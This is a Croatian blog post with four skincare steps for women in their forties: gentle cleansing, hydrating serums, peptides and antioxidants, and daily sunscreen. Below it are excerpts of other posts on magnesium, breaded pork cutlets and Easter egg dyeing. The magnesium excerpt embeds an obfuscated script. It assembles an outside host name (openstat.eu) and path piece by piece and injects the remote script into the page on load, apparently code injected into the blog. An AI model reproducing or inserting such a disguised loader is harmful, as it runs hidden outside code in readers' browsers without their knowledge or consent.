4 KORAKA ZA VIŠE SJAJA I HIDRATACIJE




4 koraka za više sjaja i hidratacije 




Hormonalne promjene mogu utjecati na vlažnost, čvrstoću i teksturu kože, pa je u četrdesetma vrijeme za prilagodbu beuty rutine.





Nježna njega počinje čišćenjem 

Ako nakon umivanja koža zateže, djeluje grubo ili se peruta moguće je da joj postojeći način čišćenja više ne odgovara. Birajte blage čistače koji uklanjaju nečistoće i ostatke šminke bez nepotrebnog isušivanja. Pretjerano čišćenje i agresivni proizvodi mogu dodatno narušiti zaštitnu barijeru kože pa ona postaje osjetljivija i sklonija gubitku vlage.





Hidratacija je temelj zdravog izgleda kože 

Kada koža izgubi dio prirodne vlažnosti sitne linije mogu postati izraženije, a ten djelovati umorno. Zato su hidratantni serumi i kreme važan dio rutine. Hijaluronska kiselina i poliglutaminska kiselina pomažu privući i zadržati vlagu u površinskim  slojevima kože, a sastojci poput pantenola mogu pridonijeti osjećaju ugode. Serum se može nanositi prije kreme koja pomaže zadržati vlagu. Važno je pritom odabrati teksturu prema potrebama kože. Laganiju ako ne voli težak osjećaj na licu ili bogatiju, ako je suha i sklona zatezanju.





Elastičnost i sjaj traže dosljednost 

S godinama se mijenjaju i procesi povezani s kolagenom i elastičnošću kože pa ten može postupno izgubiti dio nekadašnje čvrstoće. U rutinu je moguće uvrstiti proizvode sa sastojcima poput peptida koji se često koriste u njezi usmjerenoj na zaglađeniji izgled kože. Antioksidansi među kojima je i vitamin E također su vrijedan dio njege. Ipak, ne treba očekivati čuda preko noći. Rezultati ovise o formulaciji, stanju kože i redovitosti primjene, a najbolji pristup nije gomilanje proizvoda nego promišljena rutina koju je moguće dugoročno održavati.





Ne zaboravite zaštitu od sunca 


Bez obzira na životnu dob svakodnevna zaštita od sunca jedan od najvažnijih koraka u očuvanju zdravog izgleda kože. UV zračenje pridonosi nastanku pigmentacijskih promjena i razgradnji kolagena zbog čega koža može ranije pokazivati znakove starenja. Krema sa zaštitnim faktorom širokog spektra SPF 30 ili višim trebala bi biti završni korak jutarnje rutine uz ponovnu primjenu kada je potrebno.





Pripremila: Ivana Matas 


Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više